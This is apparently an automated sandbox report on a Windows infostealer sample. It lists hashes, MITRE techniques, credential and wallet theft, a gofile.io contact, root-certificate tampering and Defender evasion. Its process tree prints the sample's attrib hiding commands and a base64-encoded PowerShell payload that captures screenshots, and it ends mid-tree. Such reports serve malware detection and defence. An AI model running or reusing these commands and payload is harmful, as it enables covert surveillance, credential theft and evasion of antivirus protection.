8524bf000fc16f1df26f0beeb9dc55a2f743e2f11077d5719fdca6a900fa1d5b

Analysis

max time kernel
148s
max time network
143s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
17/08/2026, 23:48

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
8524bf000fc16f1df26f0beeb9dc55a2f743e2f11077d5719fdca6a900fa1d5b.exe
Size 10.8MB
Sample260817-3twa3ssvht
SHA256 8524bf000fc16f1df26f0beeb9dc55a2f743e2f11077d5719fdca6a900fa1d5b
MD5 054eff0d283c6a0e4838a8af083ddc6d
SHA1 767b62882f5ecfbb922e1f7c1172992a9482907e
SHA512 c679f023e2eb5cd385d70415061169c652f1aa2438444b407a9bb1a75a5ddc56efd64df16506469e43513fcefcfc61bd9da5869378bd72e4d54ca6b82d9dec1c
SSDEEP 98304:sFZvUYyoAKnipv1sWUTmL1ddKx2AR3vb/kQaQbmjJiy8ELPo:a3TipRxKx2ABrk/F1LPo
TLSH
T155B63841EADB86F1F9431871516BB37F13301E098F25CBABEB443F6AE9376910936246
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

credential_access defense_evasion discovery execution spyware stealer trojan

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3932	powershell.exe

Sets file to hidden 1 TTPs 1 IoCs

Modifies file attributes to stop it showing in Explorer etc.

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
5964	attrib.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
1	api.gofile.io
6	api.gofile.io

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Drops autorun.inf file 1 TTPs 2 IoCs

Malware can abuse Windows Autorun to spread further via attached volumes.

Replication Through Removable Media

T1091

description	ioc	Process
File opened for modification	F:\autorun.inf	8524bf000fc16f1df26f0beeb9dc55a2f743e2f11077d5719fdca6a900fa1d5b.exe
File opened for modification	F:\autorun.inf	attrib.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1064	cmd.exe

Modifies trusted root certificate store through registry 1 TTPs 2 IoCs

A root certificate was added, modified, or removed in the trusted certificate store registry paths.

defense_evasion

Install Root Certificate

T1553.004

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 6b000000010000002000000096bcec06264976f37460779acf28c5a7cfe8a3c0aae11a8ffcee05c0bddf08c614000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	8524bf000fc16f1df26f0beeb9dc55a2f743e2f11077d5719fdca6a900fa1d5b.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 5c0000000100000004000000001000001900000001000000100000002fe1f70bb05d7c92335bc5e05b984da60f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f63030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e814000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e6b000000010000002000000096bcec06264976f37460779acf28c5a7cfe8a3c0aae11a8ffcee05c0bddf08c620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	8524bf000fc16f1df26f0beeb9dc55a2f743e2f11077d5719fdca6a900fa1d5b.exe

System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	8524bf000fc16f1df26f0beeb9dc55a2f743e2f11077d5719fdca6a900fa1d5b.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe

Modifies system certificate store 2 TTPs 1 IoCs

defense_evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8	8524bf000fc16f1df26f0beeb9dc55a2f743e2f11077d5719fdca6a900fa1d5b.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
572	8524bf000fc16f1df26f0beeb9dc55a2f743e2f11077d5719fdca6a900fa1d5b.exe
572	8524bf000fc16f1df26f0beeb9dc55a2f743e2f11077d5719fdca6a900fa1d5b.exe
572	8524bf000fc16f1df26f0beeb9dc55a2f743e2f11077d5719fdca6a900fa1d5b.exe
572	8524bf000fc16f1df26f0beeb9dc55a2f743e2f11077d5719fdca6a900fa1d5b.exe
572	8524bf000fc16f1df26f0beeb9dc55a2f743e2f11077d5719fdca6a900fa1d5b.exe
572	8524bf000fc16f1df26f0beeb9dc55a2f743e2f11077d5719fdca6a900fa1d5b.exe
572	8524bf000fc16f1df26f0beeb9dc55a2f743e2f11077d5719fdca6a900fa1d5b.exe
572	8524bf000fc16f1df26f0beeb9dc55a2f743e2f11077d5719fdca6a900fa1d5b.exe
572	8524bf000fc16f1df26f0beeb9dc55a2f743e2f11077d5719fdca6a900fa1d5b.exe
572	8524bf000fc16f1df26f0beeb9dc55a2f743e2f11077d5719fdca6a900fa1d5b.exe
572	8524bf000fc16f1df26f0beeb9dc55a2f743e2f11077d5719fdca6a900fa1d5b.exe
572	8524bf000fc16f1df26f0beeb9dc55a2f743e2f11077d5719fdca6a900fa1d5b.exe
572	8524bf000fc16f1df26f0beeb9dc55a2f743e2f11077d5719fdca6a900fa1d5b.exe
572	8524bf000fc16f1df26f0beeb9dc55a2f743e2f11077d5719fdca6a900fa1d5b.exe
3932	powershell.exe
3932	powershell.exe
3304	powershell.exe
3304	powershell.exe
572	8524bf000fc16f1df26f0beeb9dc55a2f743e2f11077d5719fdca6a900fa1d5b.exe
572	8524bf000fc16f1df26f0beeb9dc55a2f743e2f11077d5719fdca6a900fa1d5b.exe
3304	powershell.exe
572	8524bf000fc16f1df26f0beeb9dc55a2f743e2f11077d5719fdca6a900fa1d5b.exe
572	8524bf000fc16f1df26f0beeb9dc55a2f743e2f11077d5719fdca6a900fa1d5b.exe
3932	powershell.exe
572	8524bf000fc16f1df26f0beeb9dc55a2f743e2f11077d5719fdca6a900fa1d5b.exe
572	8524bf000fc16f1df26f0beeb9dc55a2f743e2f11077d5719fdca6a900fa1d5b.exe
572	8524bf000fc16f1df26f0beeb9dc55a2f743e2f11077d5719fdca6a900fa1d5b.exe
572	8524bf000fc16f1df26f0beeb9dc55a2f743e2f11077d5719fdca6a900fa1d5b.exe
572	8524bf000fc16f1df26f0beeb9dc55a2f743e2f11077d5719fdca6a900fa1d5b.exe
572	8524bf000fc16f1df26f0beeb9dc55a2f743e2f11077d5719fdca6a900fa1d5b.exe
572	8524bf000fc16f1df26f0beeb9dc55a2f743e2f11077d5719fdca6a900fa1d5b.exe
572	8524bf000fc16f1df26f0beeb9dc55a2f743e2f11077d5719fdca6a900fa1d5b.exe
572	8524bf000fc16f1df26f0beeb9dc55a2f743e2f11077d5719fdca6a900fa1d5b.exe
572	8524bf000fc16f1df26f0beeb9dc55a2f743e2f11077d5719fdca6a900fa1d5b.exe
572	8524bf000fc16f1df26f0beeb9dc55a2f743e2f11077d5719fdca6a900fa1d5b.exe
572	8524bf000fc16f1df26f0beeb9dc55a2f743e2f11077d5719fdca6a900fa1d5b.exe
572	8524bf000fc16f1df26f0beeb9dc55a2f743e2f11077d5719fdca6a900fa1d5b.exe
572	8524bf000fc16f1df26f0beeb9dc55a2f743e2f11077d5719fdca6a900fa1d5b.exe
572	8524bf000fc16f1df26f0beeb9dc55a2f743e2f11077d5719fdca6a900fa1d5b.exe
572	8524bf000fc16f1df26f0beeb9dc55a2f743e2f11077d5719fdca6a900fa1d5b.exe
572	8524bf000fc16f1df26f0beeb9dc55a2f743e2f11077d5719fdca6a900fa1d5b.exe
572	8524bf000fc16f1df26f0beeb9dc55a2f743e2f11077d5719fdca6a900fa1d5b.exe
572	8524bf000fc16f1df26f0beeb9dc55a2f743e2f11077d5719fdca6a900fa1d5b.exe
572	8524bf000fc16f1df26f0beeb9dc55a2f743e2f11077d5719fdca6a900fa1d5b.exe
572	8524bf000fc16f1df26f0beeb9dc55a2f743e2f11077d5719fdca6a900fa1d5b.exe
572	8524bf000fc16f1df26f0beeb9dc55a2f743e2f11077d5719fdca6a900fa1d5b.exe
572	8524bf000fc16f1df26f0beeb9dc55a2f743e2f11077d5719fdca6a900fa1d5b.exe
572	8524bf000fc16f1df26f0beeb9dc55a2f743e2f11077d5719fdca6a900fa1d5b.exe
572	8524bf000fc16f1df26f0beeb9dc55a2f743e2f11077d5719fdca6a900fa1d5b.exe
572	8524bf000fc16f1df26f0beeb9dc55a2f743e2f11077d5719fdca6a900fa1d5b.exe
572	8524bf000fc16f1df26f0beeb9dc55a2f743e2f11077d5719fdca6a900fa1d5b.exe
572	8524bf000fc16f1df26f0beeb9dc55a2f743e2f11077d5719fdca6a900fa1d5b.exe
572	8524bf000fc16f1df26f0beeb9dc55a2f743e2f11077d5719fdca6a900fa1d5b.exe
572	8524bf000fc16f1df26f0beeb9dc55a2f743e2f11077d5719fdca6a900fa1d5b.exe
572	8524bf000fc16f1df26f0beeb9dc55a2f743e2f11077d5719fdca6a900fa1d5b.exe
572	8524bf000fc16f1df26f0beeb9dc55a2f743e2f11077d5719fdca6a900fa1d5b.exe
572	8524bf000fc16f1df26f0beeb9dc55a2f743e2f11077d5719fdca6a900fa1d5b.exe
572	8524bf000fc16f1df26f0beeb9dc55a2f743e2f11077d5719fdca6a900fa1d5b.exe
572	8524bf000fc16f1df26f0beeb9dc55a2f743e2f11077d5719fdca6a900fa1d5b.exe
572	8524bf000fc16f1df26f0beeb9dc55a2f743e2f11077d5719fdca6a900fa1d5b.exe
572	8524bf000fc16f1df26f0beeb9dc55a2f743e2f11077d5719fdca6a900fa1d5b.exe
572	8524bf000fc16f1df26f0beeb9dc55a2f743e2f11077d5719fdca6a900fa1d5b.exe
572	8524bf000fc16f1df26f0beeb9dc55a2f743e2f11077d5719fdca6a900fa1d5b.exe
572	8524bf000fc16f1df26f0beeb9dc55a2f743e2f11077d5719fdca6a900fa1d5b.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeDebugPrivilege	572	8524bf000fc16f1df26f0beeb9dc55a2f743e2f11077d5719fdca6a900fa1d5b.exe
Token: SeDebugPrivilege	3932	powershell.exe
Token: SeDebugPrivilege	3304	powershell.exe
Token: SeIncreaseQuotaPrivilege	3932	powershell.exe
Token: SeSecurityPrivilege	3932	powershell.exe
Token: SeTakeOwnershipPrivilege	3932	powershell.exe
Token: SeLoadDriverPrivilege	3932	powershell.exe
Token: SeSystemProfilePrivilege	3932	powershell.exe
Token: SeSystemtimePrivilege	3932	powershell.exe
Token: SeProfSingleProcessPrivilege	3932	powershell.exe
Token: SeIncBasePriorityPrivilege	3932	powershell.exe
Token: SeCreatePagefilePrivilege	3932	powershell.exe
Token: SeBackupPrivilege	3932	powershell.exe
Token: SeRestorePrivilege	3932	powershell.exe
Token: SeShutdownPrivilege	3932	powershell.exe
Token: SeDebugPrivilege	3932	powershell.exe
Token: SeSystemEnvironmentPrivilege	3932	powershell.exe
Token: SeRemoteShutdownPrivilege	3932	powershell.exe
Token: SeUndockPrivilege	3932	powershell.exe
Token: SeManageVolumePrivilege	3932	powershell.exe
Token: 33	3932	powershell.exe
Token: 34	3932	powershell.exe
Token: 35	3932	powershell.exe
Token: 36	3932	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 572 wrote to memory of 1064	572	8524bf000fc16f1df26f0beeb9dc55a2f743e2f11077d5719fdca6a900fa1d5b.exe	89
PID 1064 wrote to memory of 5964	1064	cmd.exe	91
PID 572 wrote to memory of 3780	572	8524bf000fc16f1df26f0beeb9dc55a2f743e2f11077d5719fdca6a900fa1d5b.exe	92
PID 572 wrote to memory of 3304	572	8524bf000fc16f1df26f0beeb9dc55a2f743e2f11077d5719fdca6a900fa1d5b.exe	94
PID 572 wrote to memory of 3932	572	8524bf000fc16f1df26f0beeb9dc55a2f743e2f11077d5719fdca6a900fa1d5b.exe	95
PID 572 wrote to memory of 260	572	8524bf000fc16f1df26f0beeb9dc55a2f743e2f11077d5719fdca6a900fa1d5b.exe	98
PID 3304 wrote to memory of 5880	3304	powershell.exe	100
PID 5880 wrote to memory of 1824	5880	csc.exe	101

Views/modifies file attributes 1 TTPs 3 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
260	attrib.exe
5964	attrib.exe
3780	attrib.exe

C:\Users\Admin\AppData\Local\Temp\8524bf000fc16f1df26f0beeb9dc55a2f743e2f11077d5719fdca6a900fa1d5b.exe
"C:\Users\Admin\AppData\Local\Temp\8524bf000fc16f1df26f0beeb9dc55a2f743e2f11077d5719fdca6a900fa1d5b.exe"
1⤵
- Drops autorun.inf file
- Modifies trusted root certificate store through registry
- System Location Discovery: System Language Discovery
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:572
- C:\Windows\SysWOW64\cmd.exe
  cmd /C "attrib +s +h C:\Users\Admin\AppData\Local\Temp\8524bf000fc16f1df26f0beeb9dc55a2f743e2f11077d5719fdca6a900fa1d5b.exe"
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1064
- - C:\Windows\SysWOW64\attrib.exe
    attrib +s +h C:\Users\Admin\AppData\Local\Temp\8524bf000fc16f1df26f0beeb9dc55a2f743e2f11077d5719fdca6a900fa1d5b.exe
    3⤵
    - Sets file to hidden
    - System Location Discovery: System Language Discovery
    - Views/modifies file attributes
    PID:5964
- C:\Windows\SysWOW64\attrib.exe
  attrib +h +s F:\autorun.inf
  2⤵
  - Drops autorun.inf file
  - System Location Discovery: System Language Discovery
  - Views/modifies file attributes
  PID:3780
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3304
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
